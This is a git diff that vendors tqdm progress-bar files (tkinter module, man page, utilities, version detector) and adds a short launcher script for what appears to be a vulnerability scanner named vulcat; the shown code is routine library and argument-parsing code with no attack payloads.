with self.get_lock(): + self._instances.remove(self) + + def _close(): + self._tk_window.after('idle', self._tk_window.destroy) + if not self._tk_dispatching: + self._tk_window.update() + + self._tk_window.protocol("WM_DELETE_WINDOW", _close) + + # if leave is set but we are self-dispatching, the left window is + # totally unresponsive unless the user manually dispatches + if not self.leave: + _close() + elif not self._tk_dispatching: + if self._warn_leave: + warn("leave flag ignored if not in tkinter mainloop", + TqdmWarning, stacklevel=2) + _close() + + def clear(self, *_, **__): + pass + + def display(self, *_, **__): + self._tk_n_var.set(self.n) + d = self.format_dict + # remove {bar} + d['bar_format'] = (d['bar_format'] or "{l_bar}{r_bar}").replace( + "{bar}", "") + msg = self.format_meter(**d) + if '' in msg: + msg = "".join(re.split(r'\|?\|?', msg, 1)) + self._tk_text_var.set(msg) + if not self._tk_dispatching: + self._tk_window.update() + + def set_description(self, desc=None, refresh=True): + self.set_description_str(desc, refresh) + + def set_description_str(self, desc=None, refresh=True): + self.desc = desc + if not self.disable: + self._tk_window.wm_title(desc) + if refresh and not self._tk_dispatching: + self._tk_window.update() + + def cancel(self): + """ + `cancel_callback()` followed by `close()` + when close/cancel buttons clicked. + """ + if self._cancel_callback is not None: + self._cancel_callback() + self.close() + + def reset(self, total=None): + """ + Resets to 0 iterations for repeated use. + + Parameters + ---------- + total : int or float, optional. Total to use for the new bar. + """ + if hasattr(self, '_tk_pbar'): + if total is None: + self._tk_pbar.configure(maximum=100, mode="indeterminate") + else: + self._tk_pbar.configure(maximum=total, mode="determinate") + super(tqdm_tk, self).reset(total=total) + + @staticmethod + def _tk_dispatching_helper(): + """determine if Tkinter mainloop is dispatching events""" + codes = {tkinter.mainloop.__code__, tkinter.Misc.mainloop.__code__} + for frame in sys._current_frames().values(): + while frame: + if frame.f_code in codes: + return True + frame = frame.f_back + return False + + +def ttkrange(*args, **kwargs): + """ + A shortcut for `tqdm.tk.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_tk(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_tk +trange = ttkrange diff --git a/thirdparty/tqdm/tqdm.1 b/thirdparty/tqdm/tqdm.1 new file mode 100644 index 0000000..0533198 --- /dev/null +++ b/thirdparty/tqdm/tqdm.1 @@ -0,0 +1,316 @@ +.\" Automatically generated by Pandoc 1.19.2 +.\" +.TH "TQDM" "1" "2015\-2021" "tqdm User Manuals" "" +.hy +.SH NAME +.PP +tqdm \- fast, extensible progress bar for Python and CLI +.SH SYNOPSIS +.PP +tqdm [\f[I]options\f[]] +.SH DESCRIPTION +.PP +See . +Can be used as a pipe: +.IP +.nf +\f[C] +$\ #\ count\ lines\ of\ code +$\ cat\ *.py\ |\ tqdm\ |\ wc\ \-l +327it\ [00:00,\ 981773.38it/s] +327 + +$\ #\ find\ all\ files +$\ find\ .\ \-name\ "*.py"\ |\ tqdm\ |\ wc\ \-l +432it\ [00:00,\ 833842.30it/s] +432 + +#\ ...\ and\ more\ info +$\ find\ .\ \-name\ \[aq]*.py\[aq]\ \-exec\ wc\ \-l\ \\{}\ \\;\ \\ +\ \ |\ tqdm\ \-\-total\ 432\ \-\-unit\ files\ \-\-desc\ counting\ \\ +\ \ |\ awk\ \[aq]{\ sum\ +=\ $1\ };\ END\ {\ print\ sum\ }\[aq] +counting:\ 100%|█████████|\ 432/432\ [00:00<00:00,\ 794361.83files/s] +131998 +\f[] +.fi +.SH OPTIONS +.TP +.B \-h, \-\-help +Print this help and exit. +.RS +.RE +.TP +.B \-v, \-\-version +Print version and exit. +.RS +.RE +.TP +.B \-\-desc=\f[I]desc\f[] +str, optional. +Prefix for the progressbar. +.RS +.RE +.TP +.B \-\-total=\f[I]total\f[] +int or float, optional. +The number of expected iterations. +If unspecified, len(iterable) is used if possible. +If float("inf") or as a last resort, only basic progress statistics are +displayed (no ETA, no progressbar). +If \f[C]gui\f[] is True and this parameter needs subsequent updating, +specify an initial arbitrary large positive number, e.g. +9e9. +.RS +.RE +.TP +.B \-\-leave +bool, optional. +If [default: True], keeps all traces of the progressbar upon termination +of iteration. +If \f[C]None\f[], will leave only if \f[C]position\f[] is \f[C]0\f[]. +.RS +.RE +.TP +.B \-\-ncols=\f[I]ncols\f[] +int, optional. +The width of the entire output message. +If specified, dynamically resizes the progressbar to stay within this +bound. +If unspecified, attempts to use environment width. +The fallback is a meter width of 10 and no limit for the counter and +statistics. +If 0, will not print any meter (only stats). +.RS +.RE +.TP +.B \-\-mininterval=\f[I]mininterval\f[] +float, optional. +Minimum progress display update interval [default: 0.1] seconds. +.RS +.RE +.TP +.B \-\-maxinterval=\f[I]maxinterval\f[] +float, optional. +Maximum progress display update interval [default: 10] seconds. +Automatically adjusts \f[C]miniters\f[] to correspond to +\f[C]mininterval\f[] after long display update lag. +Only works if \f[C]dynamic_miniters\f[] or monitor thread is enabled. +.RS +.RE +.TP +.B \-\-miniters=\f[I]miniters\f[] +int or float, optional. +Minimum progress display update interval, in iterations. +If 0 and \f[C]dynamic_miniters\f[], will automatically adjust to equal +\f[C]mininterval\f[] (more CPU efficient, good for tight loops). +If > 0, will skip display of specified number of iterations. +Tweak this and \f[C]mininterval\f[] to get very efficient loops. +If your progress is erratic with both fast and slow iterations (network, +skipping items, etc) you should set miniters=1. +.RS +.RE +.TP +.B \-\-ascii=\f[I]ascii\f[] +bool or str, optional. +If unspecified or False, use unicode (smooth blocks) to fill the meter. +The fallback is to use ASCII characters " 123456789#". +.RS +.RE +.TP +.B \-\-disable +bool, optional. +Whether to disable the entire progressbar wrapper [default: False]. +If set to None, disable on non\-TTY. +.RS +.RE +.TP +.B \-\-unit=\f[I]unit\f[] +str, optional. +String that will be used to define the unit of each iteration [default: +it]. +.RS +.RE +.TP +.B \-\-unit\-scale=\f[I]unit_scale\f[] +bool or int or float, optional. +If 1 or True, the number of iterations will be reduced/scaled +automatically and a metric prefix following the International System of +Units standard will be added (kilo, mega, etc.) [default: False]. +If any other non\-zero number, will scale \f[C]total\f[] and \f[C]n\f[]. +.RS +.RE +.TP +.B \-\-dynamic\-ncols +bool, optional. +If set, constantly alters \f[C]ncols\f[] and \f[C]nrows\f[] to the +environment (allowing for window resizes) [default: False]. +.RS +.RE +.TP +.B \-\-smoothing=\f[I]smoothing\f[] +float, optional. +Exponential moving average smoothing factor for speed estimates (ignored +in GUI mode). +Ranges from 0 (average speed) to 1 (current/instantaneous speed) +[default: 0.3]. +.RS +.RE +.TP +.B \-\-bar\-format=\f[I]bar_format\f[] +str, optional. +Specify a custom bar string formatting. +May impact performance. +[default: \[aq]{l_bar}{bar}{r_bar}\[aq]], where l_bar=\[aq]{desc}: +{percentage:3.0f}%|\[aq] and r_bar=\[aq]| {n_fmt}/{total_fmt} +[{elapsed}<{remaining}, \[aq] \[aq]{rate_fmt}{postfix}]\[aq] Possible +vars: l_bar, bar, r_bar, n, n_fmt, total, total_fmt, percentage, +elapsed, elapsed_s, ncols, nrows, desc, unit, rate, rate_fmt, +rate_noinv, rate_noinv_fmt, rate_inv, rate_inv_fmt, postfix, +unit_divisor, remaining, remaining_s, eta. +Note that a trailing ": " is automatically removed after {desc} if the +latter is empty. +.RS +.RE +.TP +.B \-\-initial=\f[I]initial\f[] +int or float, optional. +The initial counter value. +Useful when restarting a progress bar [default: 0]. +If using float, consider specifying \f[C]{n:.3f}\f[] or similar in +\f[C]bar_format\f[], or specifying \f[C]unit_scale\f[]. +.RS +.RE +.TP +.B \-\-position=\f[I]position\f[] +int, optional. +Specify the line offset to print this bar (starting from 0) Automatic if +unspecified. +Useful to manage multiple bars at once (eg, from threads). +.RS +.RE +.TP +.B \-\-postfix=\f[I]postfix\f[] +dict or *, optional. +Specify additional stats to display at the end of the bar. +Calls \f[C]set_postfix(**postfix)\f[] if possible (dict). +.RS +.RE +.TP +.B \-\-unit\-divisor=\f[I]unit_divisor\f[] +float, optional. +[default: 1000], ignored unless \f[C]unit_scale\f[] is True. +.RS +.RE +.TP +.B \-\-write\-bytes +bool, optional. +If (default: None) and \f[C]file\f[] is unspecified, bytes will be +written in Python 2. +If \f[C]True\f[] will also write bytes. +In all other cases will default to unicode. +.RS +.RE +.TP +.B \-\-lock\-args=\f[I]lock_args\f[] +tuple, optional. +Passed to \f[C]refresh\f[] for intermediate output (initialisation, +iterating, and updating). +.RS +.RE +.TP +.B \-\-nrows=\f[I]nrows\f[] +int, optional. +The screen height. +If specified, hides nested bars outside this bound. +If unspecified, attempts to use environment height. +The fallback is 20. +.RS +.RE +.TP +.B \-\-colour=\f[I]colour\f[] +str, optional. +Bar colour (e.g. +\[aq]green\[aq], \[aq]#00ff00\[aq]). +.RS +.RE +.TP +.B \-\-delay=\f[I]delay\f[] +float, optional. +Don\[aq]t display until [default: 0] seconds have elapsed. +.RS +.RE +.TP +.B \-\-delim=\f[I]delim\f[] +chr, optional. +Delimiting character [default: \[aq]\\n\[aq]]. +Use \[aq]\\0\[aq] for null. +N.B.: on Windows systems, Python converts \[aq]\\n\[aq] to +\[aq]\\r\\n\[aq]. +.RS +.RE +.TP +.B \-\-buf\-size=\f[I]buf_size\f[] +int, optional. +String buffer size in bytes [default: 256] used when \f[C]delim\f[] is +specified. +.RS +.RE +.TP +.B \-\-bytes +bool, optional. +If true, will count bytes, ignore \f[C]delim\f[], and default +\f[C]unit_scale\f[] to True, \f[C]unit_divisor\f[] to 1024, and +\f[C]unit\f[] to \[aq]B\[aq]. +.RS +.RE +.TP +.B \-\-tee +bool, optional. +If true, passes \f[C]stdin\f[] to both \f[C]stderr\f[] and +\f[C]stdout\f[]. +.RS +.RE +.TP +.B \-\-update +bool, optional. +If true, will treat input as newly elapsed iterations, i.e. +numbers to pass to \f[C]update()\f[]. +Note that this is slow (~2e5 it/s) since every input must be decoded as +a number. +.RS +.RE +.TP +.B \-\-update\-to +bool, optional. +If true, will treat input as total elapsed iterations, i.e. +numbers to assign to \f[C]self.n\f[]. +Note that this is slow (~2e5 it/s) since every input must be decoded as +a number. +.RS +.RE +.TP +.B \-\-null +bool, optional. +If true, will discard input (no stdout). +.RS +.RE +.TP +.B \-\-manpath=\f[I]manpath\f[] +str, optional. +Directory in which to install tqdm man pages. +.RS +.RE +.TP +.B \-\-comppath=\f[I]comppath\f[] +str, optional. +Directory in which to place tqdm completion. +.RS +.RE +.TP +.B \-\-log=\f[I]log\f[] +str, optional. +CRITICAL|FATAL|ERROR|WARN(ING)|[default: \[aq]INFO\[aq]]|DEBUG|NOTSET. +.RS +.RE +.SH AUTHORS +tqdm developers . diff --git a/thirdparty/tqdm/utils.py b/thirdparty/tqdm/utils.py new file mode 100644 index 0000000..0632b8d --- /dev/null +++ b/thirdparty/tqdm/utils.py @@ -0,0 +1,354 @@ +""" +General helpers required for `tqdm.std`. +""" +import os +import re +import sys +from functools import wraps +from warnings import warn +from weakref import proxy + +# py2/3 compat +try: + _range = xrange +except NameError: + _range = range + +try: + _unich = unichr +except NameError: + _unich = chr + +try: + _unicode = unicode +except NameError: + _unicode = str + +try: + _basestring = basestring +except NameError: + _basestring = str + +CUR_OS = sys.platform +IS_WIN = any(CUR_OS.startswith(i) for i in ['win32', 'cygwin']) +IS_NIX = any(CUR_OS.startswith(i) for i in ['aix', 'linux', 'darwin']) +RE_ANSI = re.compile(r"\x1b\[[;\d]*[A-Za-z]") + +try: + if IS_WIN: + import colorama + else: + raise ImportError +except ImportError: + colorama = None +else: + try: + colorama.init(strip=False) + except TypeError: + colorama.init() + + +class FormatReplace(object): + """ + >>> a = FormatReplace('something') + >>> "{:5d}".format(a) + 'something' + """ # NOQA: P102 + def __init__(self, replace=''): + self.replace = replace + self.format_called = 0 + + def __format__(self, _): + self.format_called += 1 + return self.replace + + +class Comparable(object): + """Assumes child has self._comparable attr/@property""" + def __lt__(self, other): + return self._comparable < other._comparable + + def __le__(self, other): + return (self < other) or (self == other) + + def __eq__(self, other): + return self._comparable == other._comparable + + def __ne__(self, other): + return not self == other + + def __gt__(self, other): + return not self <= other + + def __ge__(self, other): + return not self < other + + +class ObjectWrapper(object): + def __getattr__(self, name): + return getattr(self._wrapped, name) + + def __setattr__(self, name, value): + return setattr(self._wrapped, name, value) + + def wrapper_getattr(self, name): + """Actual `self.getattr` rather than self._wrapped.getattr""" + try: + return object.__getattr__(self, name) + except AttributeError: # py2 + return getattr(self, name) + + def wrapper_setattr(self, name, value): + """Actual `self.setattr` rather than self._wrapped.setattr""" + return object.__setattr__(self, name, value) + + def __init__(self, wrapped): + """ + Thin wrapper around a given object + """ + self.wrapper_setattr('_wrapped', wrapped) + + +class SimpleTextIOWrapper(ObjectWrapper): + """ + Change only `.write()` of the wrapped object by encoding the passed + value and passing the result to the wrapped object's `.write()` method. + """ + # pylint: disable=too-few-public-methods + def __init__(self, wrapped, encoding): + super(SimpleTextIOWrapper, self).__init__(wrapped) + self.wrapper_setattr('encoding', encoding) + + def write(self, s): + """ + Encode `s` and pass to the wrapped object's `.write()` method. + """ + return self._wrapped.write(s.encode(self.wrapper_getattr('encoding'))) + + def __eq__(self, other): + return self._wrapped == getattr(other, '_wrapped', other) + + +class DisableOnWriteError(ObjectWrapper): + """ + Disable the given `tqdm_instance` upon `write()` or `flush()` errors. + """ + @staticmethod + def disable_on_exception(tqdm_instance, func): + """ + Quietly set `tqdm_instance.miniters=inf` if `func` raises `errno=5`. + """ + tqdm_instance = proxy(tqdm_instance) + + def inner(*args, **kwargs): + try: + return func(*args, **kwargs) + except OSError as e: + if e.errno != 5: + raise + try: + tqdm_instance.miniters = float('inf') + except ReferenceError: + pass + except ValueError as e: + if 'closed' not in str(e): + raise + try: + tqdm_instance.miniters = float('inf') + except ReferenceError: + pass + return inner + + def __init__(self, wrapped, tqdm_instance): + super(DisableOnWriteError, self).__init__(wrapped) + if hasattr(wrapped, 'write'): + self.wrapper_setattr( + 'write', self.disable_on_exception(tqdm_instance, wrapped.write)) + if hasattr(wrapped, 'flush'): + self.wrapper_setattr( + 'flush', self.disable_on_exception(tqdm_instance, wrapped.flush)) + + def __eq__(self, other): + return self._wrapped == getattr(other, '_wrapped', other) + + +class CallbackIOWrapper(ObjectWrapper): + def __init__(self, callback, stream, method="read"): + """ + Wrap a given `file`-like object's `read()` or `write()` to report + lengths to the given `callback` + """ + super(CallbackIOWrapper, self).__init__(stream) + func = getattr(stream, method) + if method == "write": + @wraps(func) + def write(data, *args, **kwargs): + res = func(data, *args, **kwargs) + callback(len(data)) + return res + self.wrapper_setattr('write', write) + elif method == "read": + @wraps(func) + def read(*args, **kwargs): + data = func(*args, **kwargs) + callback(len(data)) + return data + self.wrapper_setattr('read', read) + else: + raise KeyError("Can only wrap read/write methods") + + +def _is_utf(encoding): + try: + u'\u2588\u2589'.encode(encoding) + except UnicodeEncodeError: + return False + except Exception: + try: + return encoding.lower().startswith('utf-') or ('U8' == encoding) + except Exception: + return False + else: + return True + + +def _supports_unicode(fp): + try: + return _is_utf(fp.encoding) + except AttributeError: + return False + + +def _is_ascii(s): + if isinstance(s, str): + for c in s: + if ord(c) > 255: + return False + return True + return _supports_unicode(s) + + +def _screen_shape_wrapper(): # pragma: no cover + """ + Return a function which returns console dimensions (width, height). + Supported: linux, osx, windows, cygwin. + """ + _screen_shape = None + if IS_WIN: + _screen_shape = _screen_shape_windows + if _screen_shape is None: + _screen_shape = _screen_shape_tput + if IS_NIX: + _screen_shape = _screen_shape_linux + return _screen_shape + + +def _screen_shape_windows(fp): # pragma: no cover + try: + import struct + from ctypes import create_string_buffer, windll + from sys import stdin, stdout + + io_handle = -12 # assume stderr + if fp == stdin: + io_handle = -10 + elif fp == stdout: + io_handle = -11 + + h = windll.kernel32.GetStdHandle(io_handle) + csbi = create_string_buffer(22) + res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) + if res: + (_bufx, _bufy, _curx, _cury, _wattr, left, top, right, bottom, + _maxx, _maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) + return right - left, bottom - top # +1 + except Exception: # nosec + pass + return None, None + + +def _screen_shape_tput(*_): # pragma: no cover + """cygwin xterm (windows)""" + try: + import shlex + from subprocess import check_call # nosec + return [int(check_call(shlex.split('tput ' + i))) - 1 + for i in ('cols', 'lines')] + except Exception: # nosec + pass + return None, None + + +def _screen_shape_linux(fp): # pragma: no cover + + try: + from array import array + from fcntl import ioctl + from termios import TIOCGWINSZ + except ImportError: + return None, None + else: + try: + rows, cols = array('h', ioctl(fp, TIOCGWINSZ, '\0' * 8))[:2] + return cols, rows + except Exception: + try: + return [int(os.environ[i]) - 1 for i in ("COLUMNS", "LINES")] + except (KeyError, ValueError): + return None, None + + +def _environ_cols_wrapper(): # pragma: no cover + """ + Return a function which returns console width. + Supported: linux, osx, windows, cygwin. + """ + warn("Use `_screen_shape_wrapper()(file)[0]` instead of" + " `_environ_cols_wrapper()(file)`", DeprecationWarning, stacklevel=2) + shape = _screen_shape_wrapper() + if not shape: + return None + + @wraps(shape) + def inner(fp): + return shape(fp)[0] + + return inner + + +def _term_move_up(): # pragma: no cover + return '' if (os.name == 'nt') and (colorama is None) else '\x1b[A' + + +try: + # TODO consider using wcswidth third-party package for 0-width characters + from unicodedata import east_asian_width +except ImportError: + _text_width = len +else: + def _text_width(s): + return sum(2 if east_asian_width(ch) in 'FW' else 1 for ch in _unicode(s)) + + +def disp_len(data): + """ + Returns the real on-screen length of a string which may contain + ANSI control codes and wide chars. + """ + return _text_width(RE_ANSI.sub('', data)) + + +def disp_trim(data, length): + """ + Trim a string which may contain ANSI control characters. + """ + if len(data) == disp_len(data): + return data[:length] + + ansi_present = bool(RE_ANSI.search(data)) + while disp_len(data) > length: # carefully delete one char at a time + data = data[:-1] + if ansi_present and bool(RE_ANSI.search(data)): + # assume ANSI reset is required + return data if data.endswith("\033[0m") else data + "\033[0m" + return data diff --git a/thirdparty/tqdm/version.py b/thirdparty/tqdm/version.py new file mode 100644 index 0000000..11cbaea --- /dev/null +++ b/thirdparty/tqdm/version.py @@ -0,0 +1,9 @@ +"""`tqdm` version detector. Precedence: installed dist, git, 'UNKNOWN'.""" +try: + from ._dist_ver import __version__ +except ImportError: + try: + from setuptools_scm import get_version + __version__ = get_version(root='..', relative_to=__file__) + except (ImportError, LookupError): + __version__ = "UNKNOWN" diff --git a/vulcat.py b/vulcat.py new file mode 100644 index 0000000..a3b36e4 --- /dev/null +++ b/vulcat.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.initial.banner import banner +from lib.initial.parse import parse +from lib.initial.list import list +from lib.initial.config import config_init +from lib.tool import color +import os + +banner() # * 横幅 + +try: + args = parse()[0] # * 参数接收 + list() if args.list else None # * 是否显示漏洞列表 + if args.url or args.file: + config_init(args) # * 配置初始化, 加载全局变量 + from lib.core.coreScan import corescan # * 导入核心扫描模块 + corescan.start() # * 开始扫描 + else: + print('''Please specify parameters, example: + python3 f.py -h + python3 f.py -u http://www.example.com/ + python3 f.py -f url.txt +''') +except KeyboardInterrupt: + print(color.reset('CTRL + C exit the scan')) + os._exit(0) +# except Exception as e: +# print(e) \ No newline at end of file